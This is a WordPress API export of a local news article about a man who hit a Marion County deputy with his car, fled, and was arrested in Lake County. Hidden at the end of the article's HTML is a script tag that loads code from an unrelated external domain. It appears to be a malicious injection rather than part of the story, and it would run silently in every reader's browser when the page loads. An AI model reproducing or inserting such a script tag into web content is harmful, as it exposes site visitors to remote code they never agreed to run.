{"id":221152,"date":"2018-10-16T09:07:44","date_gmt":"2018-10-16T13:07:44","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=221152"},"modified":"2019-11-27T01:36:48","modified_gmt":"2019-11-27T06:36:48","slug":"man-arrested-in-lake-county-after-striking-marion-county-sheriff-deputy-with-vehicle","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/man-arrested-in-lake-county-after-striking-marion-county-sheriff-deputy-with-vehicle\/","title":{"rendered":"Man Arrested in Lake County After Striking Marion County Sheriff Deputy with Vehicle"},"content":{"rendered":"<p><strong>LAKE COUNTY &#8212;<\/strong> On Sunday evening Marion County Sheriff&#8217;s deputy Christopher Witte responded a call regarding a suspicious vehicle at Circle K on SE Hwy 25.<\/p>\n<p>The store clerk reported that the man in the car appeared to be unresponsive and had been in the vehicle for 30-45 minutes.<\/p>\n<p>Sheriff&#8217;s Office video shows the man appeared disoriented and without I.D. when Witte approached the vehicle, gave the deputy a false name and claimed he did not remember his middle name or initial.<\/p>\n<p>During this questioning the man abruptly started his car and pulled out of the Circle K parking lot, striking Officer Witte who was standing at the open driver&#8217;s door.<\/p>\n<p>Witte immediately engaged in pursuit of the vehicle but lost it as it reached high speeds with lights turned off.<\/p>\n<p>The pursuit entered Lake County, where Lake County Sheriff&#8217;s Office located the vehicle and conducted a traffic stop.<\/p>\n<p>During the traffic stop, the driver abandoned his vehicle and fled on foot into his Leesburg home.<\/p>\n<p>Lake County Sheriff&#8217;s Office K-9 unit located and arrested the man, identified as Joe Toolie III.<\/p>\n<p>Witte positively identified Toolie to complete the investigation.<\/p>\n<p>Deputy Witte was hit by the driver&#8217;s door during the altercation but was not injured.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Suspicious person at gas station in Marion County flees from Deputy, striking him with his vehicle and leading to a pursuit and arrest in Lake County. <\/p>\n","protected":false},"author":26806,"featured_media":211879,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,3245,6,7],"tags":[215,80,651,752,315,109],"class_list":["post-221152","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-crime","category-lake-county","category-marion-county","tag-arrest","tag-lake-county","tag-marion-county","tag-mcso","tag-police","tag-sheriff","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/03\/police-c.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/221152","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=221152"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/221152\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211879"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=221152"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=221152"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=221152"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}